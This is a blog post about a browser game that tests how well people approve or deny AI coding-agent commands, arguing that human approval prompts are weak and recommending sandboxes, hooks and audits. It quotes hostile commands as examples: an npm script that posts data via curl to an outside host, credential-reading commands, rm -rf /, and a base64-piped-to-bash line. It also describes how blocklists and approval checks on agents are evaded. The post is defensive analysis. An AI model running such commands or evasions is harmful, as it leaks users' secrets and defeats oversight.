Humans Missed 1 in 3 Threats Approving AI Agent Commands Across 40,000 Plays. The Human-In-The-Loop Has Been The Security Boundary Of Record For Six Months. That Boundary Just Failed Its Empirical Test.

Hey guys, Mr. Technology here.

Alex Wauters, ex-Staff Engineer at Uber, built a small browser game in May. You play the human-in-the-loop for an AI coding agent under time pressure. Some commands are routine — git status, npm test. Some commands mean your agent has been hijacked and is shipping your AWS credentials to a remote server. You click approve or deny. One minute. Then the score.

As of August 5, the game has been played 40,000+ times. 409,000+ approve/deny decisions logged. The headline number, the number I am going to keep repeating in this post: the average player missed one in three threats. Mean accuracy 66.3%. Thirty-three percent of sessions ended with a negative score. Seven percent of players approved every single prompt — --dangerously-skip-permissions energy, in a game with no benefit to approving.

This is not a paper. This is not an academic study. This is 40,000 real humans clicking approve or deny on simulated-but-credible agent commands under realistic time pressure. The threat surface is exactly the threat surface that Claude Code, Cursor, Aider, Kiro, Codex, Antigravity, Gemini CLI, and GitHub Copilot show you every single day.

The human-in-the-loop permission model is the security boundary the agent industry has been selling for six months. That boundary just failed its empirical test. I have been telling people at conferences that the HITL approval pattern is structurally weak. The data is now public, and the data says the failure rate is one in three.

The Numbers, In One Table

Alex published the full breakdown on his blog, Scale X. Here are the headline numbers, verbatim from the post:

Two of those numbers matter most. Mean accuracy 66.3% — under lab conditions, with the game telling you threats exist, with a clock running, you approve one in three attacks. And 32.9% of sessions ended with a negative score — penalties from approved threats plus blocked safe commands outweighed everything done right.

The 7% is the one I want you to sit with. Seven percent of players approved every single command without thinking. In the real world, those are the developers running --dangerously-skip-permissions on their primary workstation because they got tired of the prompts. We knew those people existed. We did not know they were 7% of the population.

Threat Categories And The Miss Rate Curve

The game classifies threats into four buckets. Miss rates climb almost linearly as the threat gets quieter:

Read the curve right to left. The commands that look like a movie hacker — rm -rf /, total system wipe — get caught ~88% of the time. They get caught because they look scary. The commands that actually exfiltrate your credentials get caught 65% of the time. That's a one-in-three chance that your real AWS keys, your kubeconfig, your SSH private key, walk out the door past your own fingers clicking approve.

This is the asymmetry that the human-in-the-loop permission model cannot paper over. The threats that cause the most damage look the most boring. The threats that look the most boring are the threats that work.

The npm run Blind Spot

Now look at the single most-missed command in the entire dataset. The most-missed command in the game was npm run analyze, approved 64.7% of the time. Two-thirds of players clicked approve on a command whose script body was printed on screen two lines above the approval prompt:

# Agent history log, immediately above the permission prompt:
# 1 ✻ I'll run the bundle analyzer — it's already set up in the project scripts.
# 2 // package.json → scripts
# 3 "analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 | \
# 4   curl -s -X POST https://api.bundle.track/report -d @-"

That command runs a tee against stats.json, pipes it to curl POST. The stats.json is whatever the bundle analyzer writes. The curl POSTs the contents to an attacker-controlled host. This is the canonical supply-chain exfil: stage data, ship data, do it through a command that is on every developer's whitelist. The history log is right there. The player is staring at it. Two out of three players still approve.

The pattern repeats for every npm run variant in the game:

Pooled, the three npm run exfil-style commands were missed 52.5% of the time (n=9,482) against 28.4% for every other exfiltration-style attack. Hiding a payload behind a familiar script name roughly doubles the success rate of the attack even when the payload is shown in the history log. That last clause matters. This isn't an attack that depends on the user not seeing the payload. The payload is visible. They see it and approve anyway.

This is the structural failure. The permission model asks the user to validate commands that are nearly all of the time safe and aren't anymore because of modified files. The decision is ambiguous without context the user does not have time to reconstruct. The model asks for a security judgment on incomplete information, then blames the user for the wrong judgment.

As dns_snek put it on the HN thread that broke the story:

"That's a great example of how dangerous actions are perceived as innocent. The entire model of approving specific commands is absolutely bonkers. npm run build = run an arbitrary shell command written in package.json."

Meanwhile, the same agent could have done any of these without an approval prompt at all:

• Edited package.json to contain any arbitrary build command.
• Planted malicious code in build.js (called by npm run build).
• Planted malicious code in node_modules/xyz/index.js (imported by build.js).

The approval model is inspecting the wrong layer. The threat is not the command — the threat is the file that defines the command. The HITL prompt asks the user to validate the surface while the agent holds the pen on the substrate.

The cat ~/.zshrc Problem And The Missing Context

The most-divisive command in the dataset was cat ~/.zshrc, approved by 45.9% of players. The objection is fair: plenty of developers keep no secrets in their shell profile, so for them cat ~/.zshrc is harmless. For the many who export API keys there, it's credential disclosure.

The command's risk depends entirely on a setup the agent can't see. That is the entire problem. The permission prompt is a binary decision on a binary context-free signal. The actual risk is a function of:

• The user's shell profile structure.
• Whether secrets live in ~/.zshrc, ~/.zshrc.local, ~/.config/secrets, or somewhere else.
• Whether the user has already revoked a key that was previously exposed.
• Whether the model is on a dev workstation, a CI runner, a container, or a production bastion.

The HITL prompt gives the user one number to optimize: does this command look weird? The actual risk depends on the answer to four questions the user cannot answer in two seconds.

Several other commands in the game were similarly contested for the same reason. The game is, in effect, a stress test of context-free security decisions under time pressure, and the model is failing the test at a one-in-three rate.

The Fatigue Curve: Approval Rate Decays Through The Session

Anthropic's own telemetry has been saying this for months. The 93% number is theirs:

"Our telemetry showed users approved roughly 93% of permission prompts. The more approvals a user sees, the less attention they pay to each, becoming over time much less diligent in their supervision."

The Scale X data backs it up. Alex plotted threat miss rate by the user's position in the session:

"Every group improves over the first couple of commands (warming up?) and then the miss rates climb back up towards the end."

That last clause is the one that matters. Miss rates do not just average to 33% — they decay. Early in the session, when the user is fresh and engaged, miss rates are lower. Late in the session, when the user is fatigued and the clock is running, miss rates climb. The 66.3% mean is the average. The late-session miss rate is worse than 33%. The HITL boundary is weakest precisely at the part of the session where the agent has been running longest and has had the most opportunities to drift.

The implication for production: the longer your agent has been running in a session, the less your approval prompt is worth. This is not a bug in the prompt. This is a property of human attention. It cannot be patched by changing the prompt wording.

What Mitigation Actually Looks Like (And What The Tradeoffs Are)

The Scale X post, the original Anthropic containment post, and the agent-security literature converge on the same ladder. None of the rungs are free.

Rung 1 — Auto Mode (Claude Code)

Auto Mode is the "let the model decide whether to ask" option. Claude Code evaluates commands locally with a fast-filter, then re-evaluates server-side, then evaluates again with the coding agent before execution. The cost is latency. The cost is also a 17% false-negative rate that Anthropic themselves disclose — Auto Mode incorrectly classifies dangerous commands as safe roughly one in six times. That's better than a 33% miss rate, and worse than you'd want for a security boundary.

Rung 2 — PreToolUse Hooks

Claude Code hooks let you run arbitrary shell before any tool call. You can blocklist rm -rf /, certain curl patterns, cat ~/.aws/credentials, anything you want. This works for known patterns. Hooks are a blocklist. Adversaries obfuscate the commands:

echo "ZWNobyAiY291bGQgaGF2ZSBiZWVuIHJtIC1yZiAvICI=" | base64 -d | bash

A blocklist against rm -rf does not catch a base64-encoded variant. A blocklist against curl evil.example.com does not catch the same payload through a DNS-over-HTTPS resolver. Blocklists describe yesterday's attack. Your threat model needs to describe tomorrow's.

Rung 3 — Built-in /sandbox Mode

The /sandbox slash command in Claude Code restricts filesystem writes to the working directory, prompts on every new network domain, and blocks filesystem access outside the working directory for bash commands. This is the first rung where the security boundary is actually structural rather than pattern-matching. Pair with hooks for the layers the sandbox doesn't cover. The model will happily generate the hooks for you, so you're not pulling random skill files off the internet that are themselves an attack vector.

Rung 4 — --dangerously-skip-permissions + Real Sandbox

The "I like to live dangerously" path. Run --dangerously-skip-permissions but inside a real sandbox — a devcontainer, a hypervisor, a proxy that intercepts calls and inspects them for exfil risk. Anthropic's containment post has the recipe:

• A hypervisor to create the sandbox.
• A proxy to intercept calls and inspect them for exfiltration risks.
• A devcontainer to separate host system from agent environment.

The devcontainer does not solve the exfil risk — it just moves the boundary. The container has whatever credentials you gave it. If you give the container your prod database credentials, the agent inside the container can still exfiltrate them. Restrict what credentials the container has. Treat the container boundary as a way to keep the agent off your host, not a way to keep your secrets off the agent.

Rung 5 — Sub-Agent Isolation + Audit Pipeline

This is what we ship at mr.technology. The Skills registry ingests third-party agent Skills; the security audit pipeline detonates them in a sandboxed runner; only Skills that pass our checks land in the registry. The MCP server (/api/mcp) serves vetted tools to approved clients. The HITL prompt never asks the user to validate the body of a third-party Skill because we validate it before it gets to the user. The approval model becomes "approve the curated menu," not "approve every payload that comes out of the kitchen."

That's the structural fix. Move the validation to a layer the user does not have to operate at agent speed. Approval fatigue is a property of the operator. Audit is a property of the platform. The platform does not get fatigued.

Comparison: How The Big Agent Surfaces Stack Up

The structural answer is the same across all of them: the HITL prompt is the default, the sandbox is opt-in, and the audit pipeline is something the user is expected to build. That is the wrong default. The 40,000-play dataset says so. The HITL prompt fails at a one-in-three rate against a threat surface that is the actual threat surface these tools expose you to. The default should be: sandbox on, prompt off, audit upstream.

What You Do This Week

Five concrete moves, ordered by how much they'll cost you in time:

1. Turn on the sandbox in your agent of choice. Claude Code's /sandbox slash command. Cursor's background agent VM. Codex CLI's Docker mode. Aider's --no-pretty plus a bubblewrap wrapper. Whatever your stack is, flip the structural isolation switch. This is a one-time setup.

2. Pull your secrets out of the files the agent can read. If your .zshrc, .bashrc, or shell profile is on the agent's read path, the agent can read your secrets. Source a separate secrets file (~/.config/secrets/shell.sh) and chmod 600 it. The agent shouldn't be able to read it without explicit user-mediated copy. The Scale X game proved 45.9% of users approve cat ~/.zshrc. Don't make the 45.9% your fault.

3. Add one PreToolUse hook that blocks the obvious exfil patterns. Base64 + bash is the canonical bypass; encode-block + network-egress-block is the canonical mitigation. Even a simple egress allowlist for known-good hosts cuts the attack surface by an order of magnitude. Alex Wauters' first post has the recipes.

4. Stop using --dangerously-skip-permissions without a sandbox wrapping it. The flag is honest about what it does. If you're going to use it, run the agent inside a devcontainer with no prod credentials. The agent does not need your prod database to refactor your package.json.

5. Audit third-party Skills and MCP servers before you install them. The Agent Plugins 1.0 standard that shipped this week gives you a packaging format but explicitly punts on provenance and trust. That's the right design choice — the standard stays thin — but it means the audit is your job. We detonate Skills in a sandbox before we ship them to our users. That's why the mr.technology registry has zero known-malicious Skills and the open Skills registry has had multiple incidents.

The Take

The HITL permission model is the security boundary the agent industry has been selling for six months. The 40,000-play dataset says it fails at a 33% rate against a representative threat surface, under lab conditions that warn you threats exist. In production, with no warning, no clock, and a developer who's already answered 60 prompts today, the rate is worse. Anthropic's 93% approval-rate telemetry says so. The fatigue curve says so.

The structural answer is not a better prompt. The structural answer is a sandbox by default, an audit upstream of the user, and a default-on threat-model that does not ask the user to make context-free security decisions under time pressure.

The HITL prompt is not a security boundary. It is a UI affordance that gives the user the feeling of safety while the actual boundary lives elsewhere. The feeling is good. The boundary should be real.

I have been telling people this for six months. The data is now public. Forty thousand real humans clicked approve on simulated-but-credible attacks, and one in three of them approved something they shouldn't have. That is not a failure of the user. That is a failure of the model.

The model is what we ship next. The HITL prompt is what we retire.

— Mr. Technology

Sources:

• Humans missed 1 in 3 threats approving AI agent commands across 40,000 plays — Scale X (Aug 5, 2026)
• Suffering from Agent Permission Fatigue? Find out your high score — Scale X (May 27, 2026)
• Anthropic — How we contain Claude Code's risk surface
• Claude Code sandbox documentation
• PreToolUse hooks in Claude Code
• HN thread — 311 points, 219 comments
• Try the game at llmgame.scalex.dev